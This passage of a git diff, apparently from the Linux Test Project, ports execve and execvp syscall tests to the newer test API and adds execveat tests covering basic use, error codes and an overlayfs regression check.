-	if ((fd = open(TEST_APP, O_WRONLY)) == -1) {
-		perror("open failed");
-		exit(1);
-	}
-
-	TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0);
+	SAFE_CLOSE(fd);
 
 	exit(0);
 }
+
+static const char *const resource_files[] = {
+	TEST_APP,
+	NULL,
+};
+
+static struct tst_test test = {
+	.test_all = verify_execve,
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.needs_checkpoints = 1,
+	.resource_files = resource_files,
+};
diff --git a/testcases/kernel/syscalls/execve/execve05.c b/testcases/kernel/syscalls/execve/execve05.c
index 66290f6..d396129 100644
--- a/testcases/kernel/syscalls/execve/execve05.c
+++ b/testcases/kernel/syscalls/execve/execve05.c
@@ -1,199 +1,104 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ *  21/04/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
  * NAME
- * 	execve05.c
+ *	execve05.c
  *
  * DESCRIPTION
- * 	This testcase tests the basic functionality of the execve(2) system
+ *	This testcase tests the basic functionality of the execve(2) system
  *	call.
  *
  * ALGORITHM
- *	This program also gets the names "test1", and "test2". This tests
- *	the functionality of the execve(2) system call by spawning a few
- *	children, each of which would execute "test1/test2" executables, and
- *	finally the parent ensures that they terminated correctly.
+ *	This tests the functionality of the execve(2) system call by spawning
+ *	a few children, each of which would execute "execve_child" simultaneously,
+ *	and finally the parent ensures that they terminated correctly.
  *
  * USAGE
- *	execve05 20 test1 test2 4
- *
- * RESTRICTIONS
- * 	This program does not follow the LTP format - *PLEASE FIX*
+ *	execve05 -i 5 -n 20
  */
 
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
 #include <stdio.h>
+#include <stdlib.h>
 #include <errno.h>
+#include <unistd.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <sys/wait.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <pwd.h>
 
-#undef DEBUG			/* change this to #define if needed */
+#include "tst_test.h"
 
-void setup(void);
-void cleanup(void);
+#define TEST_APP "execve_child"
 
-char *TCID = "execve05";
-int TST_TOTAL = 1;
+static int nchild = 8;
 
-int iterations;
-char *fname1;
-char *fname2;
-char *prog;
-char *av[6];
-char *ev[1];
+static char *opt_nchild;
+static struct tst_option exe_options[] = {
+	{"n:", &opt_nchild, "-n    numbers of children"},
+	{NULL, NULL, NULL}
+};
 
-void usage(void)
+static const char *const resource_files[] = {
+	TEST_APP,
+	NULL,
+};
+
+static void do_child(void)
 {
-	tst_brkm(TBROK, NULL, "usage: %s <iters> <fname1> <fname2> <count>",
-		 TCID);
+	char *argv[3] = {TEST_APP, "canary", NULL};
+
+	TST_CHECKPOINT_WAIT(0);
+
+	TEST(execve(TEST_APP, argv, environ));
+	tst_res(TFAIL | TERRNO, "execve() returned unexpected errno");
 }
 
-int main(int ac, char **av)
+static void verify_execve(void)
 {
-	char iter[20];
-	int count, i, nchild, status;
-	pid_t pid;
+	int i;
 
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	if (ac != 5)
-		usage();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		prog = av[0];
-		iterations = atoi(av[1]);
-		fname1 = av[2];
-		fname2 = av[3];
-		count = atoi(av[4]);
-#ifdef DEBUG
-		tst_resm(TINFO, "Entered %s %d %s %s %d -- pid = %d", prog,
-			 iterations, fname1, fname2, count, getpid());
-#endif
-
-		if (iterations == 0) {
-			tst_resm(TPASS, "Test DONE, pid %d, -- %s %d %s %s",
-				 getpid(), prog, iterations, fname1, fname2);
-			tst_exit();
-		}
-
-		if (!count) {
-			sprintf(iter, "%d", iterations - 1);
-			av[0] = fname1;
-			av[1] = iter;
-			av[2] = fname1;
-			av[3] = fname2;
-			av[4] = "0";
-			av[5] = 0;
-			ev[0] = 0;
-#ifdef DEBUG
-			tst_resm(TINFO, "doing execve(%s, av, ev)", fname1);
-			tst_resm(TINFO, "av[0,1,2,3,4] = %s, %s, %s, %s, %s",
-				 av[0], av[1], av[2], av[3], av[4]);
-#endif
-			(void)execve(fname1, av, ev);
-			tst_resm(TFAIL, "Execve fail, %s, errno=%d", fname1,
-				 errno);
-		}
-
-		nchild = count * 2;
-
-		sprintf(iter, "%d", iterations);
-		for (i = 0; i < count; i++) {
-
-			pid = FORK_OR_VFORK();
-			if (pid == -1) {
-				perror("fork failed");
-				exit(1);
-			} else if (pid == 0) {
-				av[0] = fname1;
-				av[1] = iter;
-				av[2] = fname1;
-				av[3] = fname2;
-				av[4] = "0";
-				av[5] = 0;
-				ev[0] = 0;
-				(void)execve(fname1, av, ev);
-				perror("execve failed");
-				exit(2);
-			}
-#ifdef DEBUG
-			tst_resm(TINFO, "Main - started pid %d", pid);
-#endif
-			SAFE_WAIT(cleanup, &status);
-			if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-				tst_resm(TFAIL, "child exited abnormally");
-
-			pid = FORK_OR_VFORK();
-			if (pid == -1) {
-				perror("Fork failed");
-				exit(1);
-			} else if (pid == 0) {
-				av[0] = fname2;
-				av[1] = iter;
-				av[2] = fname2;
-				av[3] = fname1;
-				av[4] = "0";
-				av[5] = 0;
-				ev[0] = 0;
-				execve(fname2, av, ev);
-				perror("execve failed");
-				exit(2);
-			}
-#ifdef DEBUG
-			tst_resm(TINFO, "Main - started pid %d", pid);
-#endif
-			SAFE_WAIT(cleanup, &status);
-			if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-				tst_resm(TFAIL, "child exited abnormally");
-
-		}
-
-		if (wait(&status) != -1)
-			tst_brkm(TBROK, cleanup,
-				 "leftover children haven't exited yet");
-
+	for (i = 0; i < nchild; i++) {
+		if (SAFE_FORK() == 0)
+			do_child();
 	}
-	cleanup();
 
-	tst_exit();
+	TST_CHECKPOINT_WAKE2(0, nchild);
 }
 
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	umask(0);
+	if (opt_nchild)
+		nchild = SAFE_STRTOL(opt_nchild, 1, INT_MAX);
 }
 
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = verify_execve,
+	.options = exe_options,
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.needs_checkpoints = 1,
+	.resource_files = resource_files,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/execve/execve_child.c b/testcases/kernel/syscalls/execve/execve_child.c
index 2ec8496..bcf8ccc 100644
--- a/testcases/kernel/syscalls/execve/execve_child.c
+++ b/testcases/kernel/syscalls/execve/execve_child.c
@@ -1,32 +1,41 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
  * test3.c
- *	dummy program which is used by execve03.c testcase
+ *	dummy program which is used by execve02/4/5.c testcase
  */
 
+#define TST_NO_DEFAULT_MAIN
 #include <stdlib.h>
-#include <stdio.h>
+#include "tst_test.h"
 
-int main(void)
+int main(int argc, char *argv[])
 {
-	printf("Hello World\n");
-	exit(0);
+	tst_reinit();
+
+	/* For execve05 test, it should be returned here */
+	if (argc > 1 && !strcmp(argv[1], "canary")) {
+		tst_res(TPASS, "argv[1] is %s, expected 'canary'", argv[1]);
+		return 0;
+	}
+
+	/* For execve02/4 test, it shouldn't be executed */
+	tst_res(TFAIL, "%s shouldn't be executed", argv[0]);
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/execveat/.gitignore b/testcases/kernel/syscalls/execveat/.gitignore
new file mode 100644
index 0000000..5de1f68
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/.gitignore
@@ -0,0 +1,5 @@
+/execveat01
+/execveat02
+/execveat03
+/execveat_child
+/execveat_errno
diff --git a/testcases/kernel/syscalls/execveat/Makefile b/testcases/kernel/syscalls/execveat/Makefile
new file mode 100644
index 0000000..0bab6dc
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/Makefile
@@ -0,0 +1,23 @@
+#
+#  Copyright (C) 2018 MediaTek Inc.  All Rights Reserved.
+#
+#  This program is free software;  you can redistribute it and/or modify
+#  it under the terms of the GNU General Public License as published by
+#  the Free Software Foundation; either version 2 of the License, or
+#  (at your option) any later version.
+#
+#  This program is distributed in the hope that it will be useful,
+#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+#  the GNU General Public License for more details.
+#
+#  You should have received a copy of the GNU General Public License
+#  along with this program;  if not, write to the Free Software
+#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/execveat/execveat.h b/testcases/kernel/syscalls/execveat/execveat.h
new file mode 100644
index 0000000..28e10b1
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/execveat.h
@@ -0,0 +1,14 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Authors: Jinhui huang <huangjh.jy@cn.fujitsu.com>
+ *          Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+
+void check_execveat(void)
+{
+	int ret;
+
+	ret = execveat(-1, "", NULL, NULL, AT_EMPTY_PATH);
+	if (ret == -1 && errno == EINVAL)
+		tst_brk(TCONF, "execveat() not supported");
+}
diff --git a/testcases/kernel/syscalls/execveat/execveat01.c b/testcases/kernel/syscalls/execveat/execveat01.c
new file mode 100644
index 0000000..5325d48
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/execveat01.c
@@ -0,0 +1,100 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Authors: Jinhui huang <huangjh.jy@cn.fujitsu.com>
+ *          Xiao Yang <yangx.jy@cn.fujitsu.com>
+ */
+/* Test Description:
+ *  This case checks the basic functionality of the execveat(2):
+ *	1) When pathname is relative, it is relative to the directory where
+ *	   the executed process is located and the dirfd is the descriptor of
+ *	   the directory.
+ *	2) When pathname is relative and dirfd is the special value AT_FDCWD,
+ *	   the pathname is the relative to the current working directory of
+ *	   the calling process.
+ *	3) When pathname is absolute, dirfd can be ignored.
+ *	4) When pathname is an empty string and the flag AT_EMPTY_PATH is
+ *	   specified, dirfd specifies the file to be executed.
+ */
+
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "lapi/execveat.h"
+#include "lapi/fcntl.h"
+#include "execveat.h"
+
+#define TESTDIR "testdir"
+#define TEST_APP "execveat_child"
+#define TEST_REL_APP TESTDIR"/"TEST_APP
+
+static int fd1, fd4;
+static int fd2 = AT_FDCWD, fd3 = -1;
+static char app_abs_path[512];
+
+static struct tcase {
+	int *fd;
+	char *pathname;
+	int flag;
+} tcases[] = {
+	{&fd1, TEST_APP, 0},
+	{&fd2, TEST_REL_APP, 0},
+	{&fd3, app_abs_path, 0},
+	{&fd4, "", AT_EMPTY_PATH},
+};
+
+static void verify_execveat(unsigned int i)
+{
+	struct tcase *tc = &tcases[i];
+	char *argv[2] = {TEST_APP, NULL};
+	pid_t pid;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TEST(execveat(*tc->fd, tc->pathname, argv, environ, tc->flag));
+		tst_res(TFAIL | TERRNO, "execveat() returns unexpected errno");
+	}
+}
+
+static void setup(void)
+{
+	char cur_dir_path[512];
+
+	check_execveat();
+
+	SAFE_MKDIR(TESTDIR, 0777);
+	SAFE_CP(TEST_APP, TEST_REL_APP);
+
+	SAFE_GETCWD(cur_dir_path, sizeof(cur_dir_path));
+	sprintf(app_abs_path, "%s/%s", cur_dir_path, TEST_REL_APP);
+
+	fd1 = SAFE_OPEN(TESTDIR, O_DIRECTORY);
+	fd4 = SAFE_OPEN(TEST_REL_APP, O_PATH);
+}
+
+static void cleanup(void)
+{
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
+
+	if (fd4 > 0)
+		SAFE_CLOSE(fd4);
+}
+
+static const char *const resource_files[] = {
+	TEST_APP,
+	NULL,
+};
+
+static struct tst_test test = {
+	.resource_files = resource_files,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_execveat,
+	.child_needs_reinit = 1,
+	.forks_child = 1,
+	.cleanup = cleanup,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/execveat/execveat02.c b/testcases/kernel/syscalls/execveat/execveat02.c
new file mode 100644
index 0000000..9b08efb
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/execveat02.c
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Authors: Jinhui huang <huangjh.jy@cn.fujitsu.com>
+ */
+
+/* Test Description:
+ *  Check various errnos for execveat(2):
+ *    1) execveat() fails and returns EBADF if dirfd is a invalid file
+ *	 descriptor.
+ *    2) execveat() fails and returns EINVAL if flag specified is invalid.
+ *    3) execveat() fails and returns ELOOP if the file identified by dirfd and
+ *       pathname is a symbolic link and flag includes AT_SYMLINK_NOFOLLOW.
+ *    4) execveat() fails and returns ENOTDIR if pathname is relative and dirfd
+ *       is a file descriptor referring to a file other than a directory.
+ */
+
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <errno.h>
+
+#include "tst_test.h"
+#include "lapi/execveat.h"
+#include "lapi/fcntl.h"
+#include "execveat.h"
+
+#define TESTDIR "testdir"
+#define TEST_APP "execveat_errno"
+#define TEST_SYMLINK "execveat_symlink"
+#define TEST_REL_APP TESTDIR"/"TEST_APP
+#define TEST_ERL_SYMLINK TESTDIR"/"TEST_SYMLINK
+
+static int bad_fd = -1, fd;
+static char app_abs_path[512], app_sym_path[512];
+
+static struct tcase {
+	int *fd;
+	char *pathname;
+	int flag;
+	int exp_err;
+} tcases[] = {
+	{&bad_fd, "", AT_EMPTY_PATH, EBADF},
+	{&fd, app_abs_path, -1, EINVAL},
+	{&fd, app_sym_path, AT_SYMLINK_NOFOLLOW, ELOOP},
+	{&fd, TEST_REL_APP, 0, ENOTDIR},
+};
+
+static void verify_execveat(unsigned int i)
+{
+	struct tcase *tc = &tcases[i];
+	char *argv[2] = {TEST_APP, NULL};
+	pid_t pid;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TEST(execveat(*tc->fd, tc->pathname, argv, environ, tc->flag));
+		if (tc->exp_err != TST_ERR) {
+			tst_res(TFAIL | TTERRNO,
+				"execveat() fails unexpectedly, expected: %s",
+				tst_strerrno(tc->exp_err));
+		} else {
+			tst_res(TPASS | TTERRNO,
+				"execveat() fails as expected");
+		}
+	}
+}
+
+static void setup(void)
+{
+	char cur_dir_path[512];
+
+	check_execveat();
+
+	SAFE_MKDIR(TESTDIR, 0777);
+
+	SAFE_CP(TEST_APP, TEST_REL_APP);
+
+	SAFE_GETCWD(cur_dir_path, sizeof(cur_dir_path));
+	sprintf(app_abs_path, "%s/%s", cur_dir_path, TEST_REL_APP);
+	sprintf(app_sym_path, "%s/%s", cur_dir_path, TEST_ERL_SYMLINK);
+
+	SAFE_SYMLINK(TEST_REL_APP, TEST_ERL_SYMLINK);
+
+	fd = SAFE_OPEN(TEST_REL_APP, O_PATH);
+}
+
+static const char *const resource_files[] = {
+	TEST_APP,
+	NULL,
+};
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.resource_files = resource_files,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_execveat,
+	.child_needs_reinit = 1,
+	.forks_child = 1,
+	.cleanup = cleanup,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/execveat/execveat03.c b/testcases/kernel/syscalls/execveat/execveat03.c
new file mode 100644
index 0000000..def3392
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/execveat03.c
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2018 MediaTek Inc.  All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 or any later of the GNU General Public License
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * Started by Eddie Horng <eddie.horng@mediatek.com>
+ *
+ * DESCRIPTION
+ *     Check if an unlinked executable can run in overlayfs mount.
+ *     The regression is introduced from 8db6c34f1dbc ("Introduce v3
+ *     namespaced file capabilities"). in security/commoncap.c,
+ *     cap_inode_getsecurity() use d_find_alias() cause unhashed dentry
+ *     can't be found. The solution could use d_find_any_alias() instead of
+ *     d_find_alias().
+ *
+ *     Starting with kernel 4.14, this case fails, execveat shall
+ *     returns EINVAL.
+ *
+ *     This has been fixed by:
+ *       355139a8dba4 ("cap_inode_getsecurity: use d_find_any_alias()
+ *                      instead of d_find_alias()")
+ */
+
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/syscall.h>
+#include <sys/mount.h>
+#include <fcntl.h>
+#include "tst_test.h"
+#include "lapi/execveat.h"
+#include "lapi/fcntl.h"
+#include "execveat.h"
+
+#define OVL_MNT "ovl"
+#define TEST_APP "execveat_child"
+#define TEST_FILE_PATH OVL_MNT"/"TEST_APP
+
+static int ovl_mounted;
+
+static void do_child(void)
+{
+	char *argv[2] = {TEST_FILE_PATH, NULL};
+	int fd;
+
+	SAFE_CP(TEST_APP, TEST_FILE_PATH);
+
+	fd = SAFE_OPEN(TEST_FILE_PATH, O_PATH);
+	SAFE_UNLINK(TEST_FILE_PATH);
+
+	TEST(execveat(fd, "", argv, environ, AT_EMPTY_PATH));
+	tst_res(TFAIL | TERRNO, "execveat() returned unexpected errno");
+}
+
+static void verify_execveat(void)
+{
+	pid_t pid;
+
+	pid = SAFE_FORK();
+	if (pid == 0)
+		do_child();
+}
+
+static void setup(void)
+{
+	int ret;
+
+	check_execveat();
+
+	/* Setup an overlay mount with lower file */
+	SAFE_MKDIR("lower", 0755);
+	SAFE_MKDIR("upper", 0755);
+	SAFE_MKDIR("work", 0755);
+	SAFE_MKDIR(OVL_MNT, 0755);
+	ret = mount("overlay", OVL_MNT, "overlay", 0,
+		    "lowerdir=lower,upperdir=upper,workdir=work");
+	if (ret < 0) {
+		if (errno == ENODEV) {
+			tst_brk(TCONF,
+				"overlayfs is not configured in this kernel.");
+		}
+		tst_brk(TBROK | TERRNO, "overlayfs mount failed");
+	}
+	ovl_mounted = 1;
+}
+
+static void cleanup(void)
+{
+	if (ovl_mounted)
+		SAFE_UMOUNT(OVL_MNT);
+}
+
+static const char *const resource_files[] = {
+	TEST_APP,
+	NULL,
+};
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_execveat,
+	.resource_files = resource_files,
+};
diff --git a/testcases/kernel/syscalls/execveat/execveat_child.c b/testcases/kernel/syscalls/execveat/execveat_child.c
new file mode 100644
index 0000000..93bcd71
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/execveat_child.c
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2018 MediaTek Inc.  All Rights Reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 or any later of the GNU General Public License
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * Further, this software is distributed without any warranty that it is
+ * free of the rightful claim of any third person regarding infringement
+ * or the like.  Any license provided herein, whether implied or
+ * otherwise, applies only to this software file.  Patent licenses, if
+ * any, provided herein do not apply to combinations of this program with
+ * other software, or any other product whatsoever.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ */
+
+/*
+ * execveat_child.c
+ * dummy program which is used by execveat01.c and execveat03.c testcases
+ */
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+int main(void)
+{
+	tst_reinit();
+	tst_res(TPASS, "execveat_child run as expected");
+	return 0;
+}
diff --git a/testcases/kernel/syscalls/execveat/execveat_errno.c b/testcases/kernel/syscalls/execveat/execveat_errno.c
new file mode 100644
index 0000000..df7b371
--- /dev/null
+++ b/testcases/kernel/syscalls/execveat/execveat_errno.c
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Authors: Jinhui huang <huangjh.jy@cn.fujitsu.com>
+ */
+
+/*
+ * execveat_errno.c
+ *  dummy program which is used by execveat02.c testcase.
+ */
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+int main(void)
+{
+	tst_reinit();
+	tst_res(TFAIL, "execveat() passes unexpectedly");
+	return 0;
+}
diff --git a/testcases/kernel/syscalls/execvp/.gitignore b/testcases/kernel/syscalls/execvp/.gitignore
new file mode 100644
index 0000000..92aa032
--- /dev/null
+++ b/testcases/kernel/syscalls/execvp/.gitignore
@@ -0,0 +1,2 @@
+/execvp01
+/execvp01_child
diff --git a/testcases/kernel/syscalls/execvp/Makefile b/testcases/kernel/syscalls/execvp/Makefile
index bd617d8..a0e5f0f 100644
--- a/testcases/kernel/syscalls/execvp/Makefile
+++ b/testcases/kernel/syscalls/execvp/Makefile
@@ -1,19 +1,19 @@
 #
+#  Copyright (c) Linux Test Project, 2018
 #  Copyright (c) International Business Machines  Corp., 2001
 #
-#  This program is free software;  you can redistribute it and/or modify
+#  This program is free software: you can redistribute it and/or modify
 #  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
+#  the Free Software Foundation, either version 2 of the License, or
 #  (at your option) any later version.
 #
 #  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#  along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/syscalls/execvp/execvp01.c b/testcases/kernel/syscalls/execvp/execvp01.c
index bdeb2cf..6489f7b 100644
--- a/testcases/kernel/syscalls/execvp/execvp01.c
+++ b/testcases/kernel/syscalls/execvp/execvp01.c
@@ -1,38 +1,25 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *    AUTHOR		: William Roske
  *    CO-PILOT		: Dave Fenner
  *    DATE STARTED	: 06/01/02
- * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
+
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <errno.h>
@@ -40,42 +27,23 @@
 #include <signal.h>
 #include <stdlib.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
-
-char *TCID = "execvp01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_execvp(void)
 {
-	int lc;
 	pid_t pid;
 	char *const args[] = {"execvp01_child", "canary", NULL};
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		switch (pid = FORK_OR_VFORK()) {
-		case 0:
-			execvp("execvp01_child", args);
-			tst_brkm(TFAIL | TERRNO, NULL,
-			         "Failed to execute execvp01_child");
-		case -1:
-			tst_brkm(TBROK | TERRNO, NULL, "fork failed");
-		default:
-			tst_record_childstatus(NULL, pid);
-		}
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		execvp("execvp01_child", args);
+		tst_brk(TFAIL | TERRNO,
+			"Failed to execute execvp01_child");
 	}
-
-	tst_exit();
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.test_all = verify_execvp,
+};
diff --git a/testcases/kernel/syscalls/execvp/execvp01_child.c b/testcases/kernel/syscalls/execvp/execvp01_child.c
index 59587af..8a6e512 100644
--- a/testcases/kernel/syscalls/execvp/execvp01_child.c
+++ b/testcases/kernel/syscalls/execvp/execvp01_child.c
@@ -1,40 +1,35 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
  * Copyright (C) 2015 Cyril Hrubis chrubis@suse.cz
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
